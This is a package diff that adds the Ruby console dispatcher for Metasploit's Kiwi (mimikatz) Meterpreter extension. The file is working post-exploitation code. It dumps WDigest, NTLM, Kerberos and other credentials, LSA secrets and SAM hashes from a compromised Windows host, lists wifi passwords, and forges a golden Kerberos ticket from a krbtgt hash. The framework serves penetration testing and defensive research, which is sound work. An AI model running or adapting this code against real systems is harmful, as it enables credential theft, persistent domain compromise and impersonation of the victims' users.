librex 0.0.68 → 0.0.70

data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

@@ -0,0 +1,509 @@
+# -*- coding: binary -*-
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+#
+# Kiwi extension - grabs credentials from windows memory.
+#
+# Benjamin DELPY `gentilkiwi`
+# http://blog.gentilkiwi.com/mimikatz
+#
+# extension converted by OJ Reeves (TheColonial)
+#
+###
+class Console::CommandDispatcher::Kiwi
+
+  Klass = Console::CommandDispatcher::Kiwi
+
+  include Console::CommandDispatcher
+
+  #
+  # Name for this dispatcher
+  #
+  def name
+    "Kiwi"
+  end
+
+  #
+  # Initializes an instance of the priv command interaction. This function
+  # also outputs a banner which gives proper acknowledgement to the original
+  # author of the Mimikatz 2.0 software.
+  #
+  def initialize(shell)
+    super
+    print_line
+    print_line
+    print_line("  .#####.   mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
+    print_line(" .## ^ ##.")
+    print_line(" ## / \\ ##  /* * *")
+    print_line(" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
+    print_line(" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)")
+    print_line("  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */")
+    print_line
+
+    if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
+
+      print_line
+      print_warning "Loaded x86 Kiwi on an x64 architecture."
+    end
+  end
+
+  #
+  # List of supported commands.
+  #
+  def commands
+    {
+      "creds_wdigest"         => "Retrieve WDigest creds",
+      "creds_msv"             => "Retrieve LM/NTLM creds (hashes)",
+      "creds_livessp"         => "Retrieve LiveSSP creds",
+      "creds_ssp"             => "Retrieve SSP creds",
+      "creds_tspkg"           => "Retrieve TsPkg creds",
+      "creds_kerberos"        => "Retrieve Kerberos creds",
+      "creds_all"             => "Retrieve all credentials",
+      "golden_ticket_create"  => "Create a golden kerberos ticket",
+      "kerberos_ticket_use"   => "Use a kerberos ticket",
+      "kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
+      "kerberos_ticket_list"  => "List all kerberos tickets",
+      "lsa_dump"              => "Dump LSA secrets",
+      "wifi_list"             => "List wifi profiles/creds"
+    }
+  end
+
+  #
+  # Invoke the LSA secret dump on thet target.
+  #
+  def cmd_lsa_dump(*args)
+    check_privs
+
+    print_status("Dumping LSA secrets")
+    lsa = client.kiwi.lsa_dump
+
+    # the format of this data doesn't really lend itself nicely to
+    # use within a table so instead we'll dump in a linear fashion
+
+    print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
+    print_line("Domain/Computer  : #{lsa[:compname]}") if lsa[:compname]
+    print_line("System Key       : #{to_hex(lsa[:syskey])}")
+    print_line("NT5 Key          : #{to_hex(lsa[:nt5key])}")
+    print_line
+    print_line("NT6 Key Count    : #{lsa[:nt6keys].length}")
+
+    if lsa[:nt6keys].length > 0
+      lsa[:nt6keys].to_enum.with_index(1) do |k, i|
+        print_line
+        index = i.to_s.rjust(2, ' ')
+        print_line("#{index}. ID           : #{Rex::Text::to_guid(k[:id])}")
+        print_line("#{index}. Value        : #{to_hex(k[:value])}")
+      end
+    end
+
+    print_line
+    print_line("Secret Count     : #{lsa[:secrets].length}")
+    if lsa[:secrets].length > 0
+      lsa[:secrets].to_enum.with_index(1) do |s, i|
+        print_line
+        index = i.to_s.rjust(2, ' ')
+        print_line("#{index}. Name         : #{s[:name]}")
+        print_line("#{index}. Service      : #{s[:service]}") if s[:service]
+        print_line("#{index}. NTLM         : #{to_hex(s[:ntlm])}") if s[:ntlm]
+        if s[:current] || s[:current_raw]
+          current = s[:current] || to_hex(s[:current_raw], ' ')
+          print_line("#{index}. Current      : #{current}")
+        end
+        if s[:old] || s[:old_raw]
+          old = s[:old] || to_hex(s[:old_raw], ' ')
+          print_line("#{index}. Old          : #{old}")
+        end
+      end
+    end
+
+    print_line
+    print_line("SAM Key Count    : #{lsa[:samkeys].length}")
+    if lsa[:samkeys].length > 0
+      lsa[:samkeys].to_enum.with_index(1) do |s, i|
+        print_line
+        index = i.to_s.rjust(2, ' ')
+        print_line("#{index}. RID          : #{s[:rid]}")
+        print_line("#{index}. User         : #{s[:user]}")
+        print_line("#{index}. LM Hash      : #{to_hex(s[:lm_hash])}")
+        print_line("#{index}. NTLM Hash    : #{to_hex(s[:ntlm_hash])}")
+      end
+    end
+
+    print_line
+  end
+
+  #
+  # Valid options for the golden ticket creation functionality.
+  #
+  @@golden_ticket_create_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-u" => [ true,  "Name of the user to create the ticket for" ],
+    "-i" => [ true,  "ID of the user to associate the ticket with" ],
+    "-g" => [ true,  "Comma-separated list of group identifiers to include (eg: 501,502)" ],
+    "-d" => [ true,  "Name of the target domain (FQDN)" ],
+    "-k" => [ true,  "krbtgt domain user NTLM hash" ],
+    "-t" => [ true,  "Local path of the file to store the ticket in" ],
+    "-s" => [ true,  "SID of the domain" ]
+  )
+
+  #
+  # Output the usage for the ticket listing functionality.
+  #
+  def golden_ticket_create_usage
+    print(
+      "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
+      "Create a golden kerberos ticket that expires in 10 years time.\n\n" +
+      @@golden_ticket_create_opts.usage)
+  end
+
+  #
+  # Invoke the golden kerberos ticket creation functionality on the target.
+  #
+  def cmd_golden_ticket_create(*args)
+    if args.include?("-h")
+      golden_ticket_create_usage
+      return
+    end
+
+    user = nil
+    domain = nil
+    sid = nil
+    tgt = nil
+    target = nil
+    id = 0
+    group_ids = []
+
+    @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-u"
+        user = val
+      when "-d"
+        domain = val
+      when "-k"
+        tgt = val
+      when "-t"
+        target = val
+      when "-i"
+        id = val.to_i
+      when "-g"
+        group_ids = val.split(',').map { |g| g.to_i }.to_a
+      when "-s"
+        sid = val
+      end
+    }
+
+    # all parameters are required
+    unless user && domain && sid && tgt && target
+      golden_ticket_create_usage
+      return
+    end
+
+    ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
+
+    ::File.open( target, 'wb' ) do |f|
+      f.write ticket
+    end
+
+    print_good("Golden Kerberos ticket written to #{target}")
+  end
+
+  #
+  # Valid options for the ticket listing functionality.
+  #
+  @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-e" => [ false, "Export Kerberos tickets to disk" ],
+    "-p" => [ true,  "Path to export Kerberos tickets to" ]
+  )
+
+  #
+  # Output the usage for the ticket listing functionality.
+  #
+  def kerberos_ticket_list_usage
+    print(
+      "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
+      "List all the available Kerberos tickets.\n\n" +
+      @@kerberos_ticket_list_opts.usage)
+  end
+
+  #
+  # Invoke the kerberos ticket listing functionality on the target machine.
+  #
+  def cmd_kerberos_ticket_list(*args)
+    if args.include?("-h")
+      kerberos_ticket_list_usage
+      return
+    end
+
+    # default to not exporting
+    export = false
+    # default to the current folder for dumping tickets
+    export_path = "."
+
+    @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-e"
+        export = true
+      when "-p"
+        export_path = val
+      end
+    }
+
+    tickets = client.kiwi.kerberos_ticket_list(export)
+
+    fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
+    fields << 'Export Path' if export
+
+    table = Rex::Ui::Text::Table.new(
+      'Header'    => "Kerberos Tickets",
+      'Indent'    => 0,
+      'SortIndex' => 0,
+      'Columns'   => fields
+    )
+
+    tickets.each do |t|
+      flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
+      values = [
+        "#{t[:server]} @ #{t[:server_realm]}",
+        "#{t[:client]} @ #{t[:client_realm]}",
+        t[:start],
+        t[:end],
+        t[:max_renew],
+        "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
+      ]
+
+      # write out each ticket to disk if export is enabled.
+      if export
+        path = "<no data retrieved>"
+        if t[:raw]
+          id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
+          file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
+          path = ::File.expand_path(File.join(export_path, file))
+          ::File.open(path, 'wb') do |x|
+            x.write t[:raw]
+          end
+        end
+        values << path
+      end
+
+      table << values
+    end
+
+    print_line
+    print_line(table.to_s)
+    print_line("Total Tickets : #{tickets.length}")
+  end
+
+  #
+  # Invoke the kerberos ticket purging functionality on the target machine.
+  #
+  def cmd_kerberos_ticket_purge(*args)
+    client.kiwi.kerberos_ticket_purge
+    print_good("Kerberos tickets purged")
+  end
+
+  #
+  # Use a locally stored Kerberos ticket in the current session.
+  #
+  def cmd_kerberos_ticket_use(*args)
+    if args.length != 1
+      print_line("Usage: kerberos_ticket_use ticketpath")
+      return
+    end
+
+    target = args[0]
+    ticket  = ''
+    ::File.open(target, 'rb') do |f|
+      ticket += f.read(f.stat.size)
+    end
+
+    print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
+    client.kiwi.kerberos_ticket_use(ticket)
+    print_good("Kerberos ticket applied successfully")
+  end
+
+  def wifi_list_usage
+    print(
+      "\nUsage: wifi_list\n\n" +
+      "List WiFi interfaces, profiles and passwords.\n\n")
+  end
+
+  #
+  # Dump all the wifi profiles/credentials
+  #
+  def cmd_wifi_list(*args)
+    # if any arguments are specified, then fire up a usage message
+    if args.length > 0
+      wifi_list_usage
+      return
+    end
+
+    results = client.kiwi.wifi_list
+
+    if results.length > 0
+      results.each do |r|
+        table = Rex::Ui::Text::Table.new(
+          'Header'    => "#{r[:desc]} - #{r[:guid]}",
+          'Indent'    => 0,
+          'SortIndex' => 0,
+          'Columns'   => [
+            'Name', 'Auth', 'Type', 'Shared Key'
+          ]
+        )
+
+        print_line
+        r[:profiles].each do |p|
+          table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
+        end
+
+        print_line table.to_s
+        print_line "State: #{r[:state]}"
+      end
+    else
+      print_line
+      print_error("No wireless profiles found on the target.")
+    end
+
+    print_line
+    return true
+  end
+
+  #
+  # Dump all the possible credentials to screen.
+  #
+  def cmd_creds_all(*args)
+    method = Proc.new { client.kiwi.all_pass }
+    scrape_passwords("all", method)
+  end
+
+  #
+  # Dump all wdigest credentials to screen.
+  #
+  def cmd_creds_wdigest(*args)
+    method = Proc.new { client.kiwi.wdigest }
+    scrape_passwords("wdigest", method)
+  end
+
+  #
+  # Dump all msv credentials to screen.
+  #
+  def cmd_creds_msv(*args)
+    method = Proc.new { client.kiwi.msv }
+    scrape_passwords("msv", method)
+  end
+
+  #
+  # Dump all LiveSSP credentials to screen.
+  #
+  def cmd_creds_livessp(*args)
+    method = Proc.new { client.kiwi.livessp }
+    scrape_passwords("livessp", method)
+  end
+
+  #
+  # Dump all SSP credentials to screen.
+  #
+  def cmd_creds_ssp(*args)
+    method = Proc.new { client.kiwi.ssp }
+    scrape_passwords("ssp", method)
+  end
+
+  #
+  # Dump all TSPKG credentials to screen.
+  #
+  def cmd_creds_tspkg(*args)
+    method = Proc.new { client.kiwi.tspkg }
+    scrape_passwords("tspkg", method)
+  end
+
+  #
+  # Dump all Kerberos credentials to screen.
+  #
+  def cmd_creds_kerberos(*args)
+    method = Proc.new { client.kiwi.kerberos }
+    scrape_passwords("kerberos", method)
+  end
+
+protected
+
+  def check_privs
+    if system_check
+      print_good("Running as SYSTEM")
+    else
+      print_warning("Not running as SYSTEM, execution may fail")
+    end
+  end
+
+  def system_check
+    unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
+      print_warning("Not currently running as SYSTEM")
+      return false
+    end
+
+    return true
+  end
+
+  #
+  # Invoke the password scraping routine on the target.
+  #
+  # @param provider [String] The name of the type of credentials to dump
+  #   (used for display purposes only).
+  # @param method [Proc] Block that calls the method that invokes the
+  #   appropriate function on the client that returns the results from
+  #   Meterpreter that lay in the house that Jack built.
+  #
+  # @return [void]
+  def scrape_passwords(provider, method)
+    check_privs
+    print_status("Retrieving #{provider} credentials")
+    accounts = method.call
+
+    table = Rex::Ui::Text::Table.new(
+      'Header'    => "#{provider} credentials",
+      'Indent'    => 0,
+      'SortIndex' => 0,
+      'Columns'   =>
+      [
+        'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
+      ]
+    )
+
+    accounts.each do |acc|
+      table << [
+        acc[:domain] || "",
+        acc[:username] || "",
+        acc[:password] || "",
+        "#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
+        to_hex(acc[:lm] || ""),
+        to_hex(acc[:ntlm] || "")
+      ]
+    end
+
+    print_line table.to_s
+    return true
+  end
+
+  #
+  # Helper function to convert a potentially blank value to hex and have
+  # the outer spaces stripped
+  #
+  # @param (see Rex::Text.to_hex)
+  # @return [String] The result of {Rex::Text.to_hex}, strip'd
+  def to_hex(value, sep = '')
+    value ||= ""
+    Rex::Text.to_hex(value, sep).strip
+  end
+
+end
+
+end
+end
+end
+end
+